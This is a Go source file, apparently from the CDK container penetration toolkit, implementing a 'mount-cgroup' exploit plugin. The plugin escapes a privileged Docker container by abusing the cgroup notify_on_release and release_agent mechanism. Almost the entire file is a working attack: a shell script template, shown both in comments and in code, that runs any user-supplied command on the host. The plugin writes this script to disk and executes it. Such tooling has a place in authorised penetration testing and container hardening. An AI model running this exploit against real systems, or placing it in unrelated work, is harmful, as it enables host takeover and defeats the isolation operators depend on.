// +build !no_mount_cgroup

package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"io/ioutil"
	"log"
	"strings"
)

// this is the exploit of
// https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
// https://twitter.com/_fel1x/status/1151487051986087936

// tested in ubuntu docker
// [host] docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash
// [inside container] ./cdk run mount-cgroup ps

//#!/bin/sh
//mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir -p /tmp/cgrp/cdk
//echo 1 > /tmp/cgrp/cdk/notify_on_release
//host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
//echo "$host_path/cmd" > /tmp/cgrp/release_agent
//echo '#!/bin/sh' > /cmd
//echo "ps aux > $host_path/output" >> /cmd
//chmod a+x /cmd
//sh -c "echo \$\$ > /tmp/cgrp/cdk/cgroup.procs"
//sleep 1
//cat $host_path/output

var shell = `
#!/bin/sh
mkdir -p ${mountDir}; mount -t cgroup -o ${cgroupBase} cgroup ${mountDir} && mkdir -p ${mountDir}${cgroupChildDir}
echo 1 > ${mountDir}${cgroupChildDir}/notify_on_release
host_path=${backquote}sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab${backquote}
echo "$host_path${containerInnerCmd}" > ${mountDir}/release_agent
echo '#!/bin/sh' > ${containerInnerCmd}
echo "${shellCmd} > $host_path${outputFile}" >> ${containerInnerCmd}
chmod a+x ${containerInnerCmd}
sh -c "echo \$\$ > ${mountDir}${cgroupChildDir}/cgroup.procs"
sleep ${waitResultSecond}
cat ${outputFile}
`

func generateShellExp(shellCmd string) (string, string) {
	var taskRandString = util.RandString(3)
	var mountDir = "/tmp/cgrp"
	var cgroupBase = "memory"
	var cgroupChildDir = "/cdk_" + taskRandString
	var waitResultSecond = "3"
	var containerInnerCmd = "/cmd_" + taskRandString
	var outputFile = "/output_" + taskRandString

	shell = strings.Replace(shell, "${backquote}", "`", -1)
	shell = strings.Replace(shell, "${mountDir}", mountDir, -1)
	shell = strings.Replace(shell, "${cgroupChildDir}", cgroupChildDir, -1)
	shell = strings.Replace(shell, "${shellCmd}", shellCmd, -1)
	shell = strings.Replace(shell, "${cgroupBase}", cgroupBase, -1)
	shell = strings.Replace(shell, "${waitResultSecond}", waitResultSecond, -1)
	shell = strings.Replace(shell, "${containerInnerCmd}", containerInnerCmd, -1)
	shell = strings.Replace(shell, "${outputFile}", outputFile, -1)
	return taskRandString, shell
}

func EscapeCgroup(cmd string) error{
	// generate shell script and save to local
	var taskRandString, expShellText = generateShellExp(cmd)
	var outFile = fmt.Sprintf("exploit_%s.sh", taskRandString)
	log.Printf("generate shell exploit with user-input cmd: \n\n%s\n", cmd)
	fmt.Println(expShellText)

	err := ioutil.WriteFile(outFile, []byte(expShellText), 0777)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "write shell exploit failed"}
	}

	log.Printf("shell script saved to %s", outFile)
	err = util.ShellExec(outFile)

	return err
}

// plugin interface
type ExploitCgroupS struct{}

func (p ExploitCgroupS) Desc() string {
	return `escape privileged container via cgroup. usage: ./cdk run mount-cgroup "shell-cmd-payloads"`
}
func (p ExploitCgroupS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 1 {
		log.Println("Invalid input args.")
		log.Fatal(p.Desc())
	}
	cmd := args[0]
	log.Printf("user-defined shell payload is %s\n", cmd)
	err := EscapeCgroup(cmd)
	if err != nil{
		log.Println(err)
		return false
	}
	return true
}

func init() {
	exploit := ExploitCgroupS{}
	plugin.RegisterExploit("mount-cgroup", exploit)
}
